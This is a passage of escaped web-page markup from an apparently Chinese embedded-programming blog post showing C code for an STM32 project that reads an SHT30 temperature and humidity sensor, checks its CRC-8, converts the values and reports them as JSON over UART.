class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//余数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//循环变量\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 初始化 */\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ej \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ej\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e^=\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ej\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 从最高位开始依次计算 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eCRC8_POLYNOMIAL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 返回计算的CRC码 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"温湿度转换-1\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E6%B8%A9%E6%B9%BF%E5%BA%A6%E8%BD%AC%E6%8D%A2-1\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 将SHT30接收的6个字节数据进行CRC校验,并转换为温度值和湿度值 * @param dat —— 存储接收数据的地址(6个字节数组) * @retval 校验成功 —— 返回0 * 校验失败 —— 返回1,并设置温度值和湿度值为0*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 校验温度数据和湿度数据是否接收正确 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换温度数据 */\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e45\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e175\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_temperature\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换湿度数据 */\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e100\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_humidity \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"在main-c中使用SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%9C%A8main-c%E4%B8%AD%E4%BD%BF%E7%94%A8SHT30\" class=\"headerlink\" title=\"在main.c中使用SHT30\"\u003e\u003c/a\u003e在\u003ccode\u003emain.c\u003c/code\u003e中使用SHT30\u003c/h3\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e外定义格式化函数:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e的\u003ccode\u003ewhile (1)\u003c/code\u003e前定义相关变量与SHT30初始化:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 init is ok!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 init is not ok!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003ewhile(1)\u003c/code\u003e内调用格式化函数,每次调用后进行适当延时。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"格式化函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"格式化函数\"\u003e\u003c/a\u003e格式化函数\u003c/h4\u003e\u003cp\u003e将格式化函数写在 \u003ccode\u003e/* USER CODE BEGIN 4 */\u003c/code\u003e 与 \u003ccode\u003e/* USER CODE END 4 */\u003c/code\u003e 之中。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e字符串格式化输出 \u003ccode\u003esprintf()\u003c/code\u003e:\u003c/p\u003e\u003cp\u003e\u003ccode\u003eint sprintf(char * s, const char * format, ...);\u003c/code\u003e定义在\u003ccode\u003estdio.h\u003c/code\u003e中,适用于 \u003ccode\u003e string\u003c/code\u003e 版本的格式化输出,其目标不是控制台,而是一个字符串。\u003c/p\u003e\u003cp\u003e用\u003ccode\u003esprintf()\u003c/code\u003e 格式化一个字符串,例如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;Name:%s,Age:%d,Weight:%.2f\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;LiMing\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1.68\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e运行后目标\u003ccode\u003ebuf\u003c/code\u003e格式化为:\u003ccode\u003eName:LiMing,Age:30,Weight:1.68\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e对于字符串的处理非常有用。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e将SHT30温湿度数据格式化并通过串口输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ememset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;{\\\u0026#34;Temperature\\\u0026#34;:\\\u0026#34;%.2f\\\u0026#34;, \\\u0026#34;Humidity\\\u0026#34;:\\\u0026#34;%.2f\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token 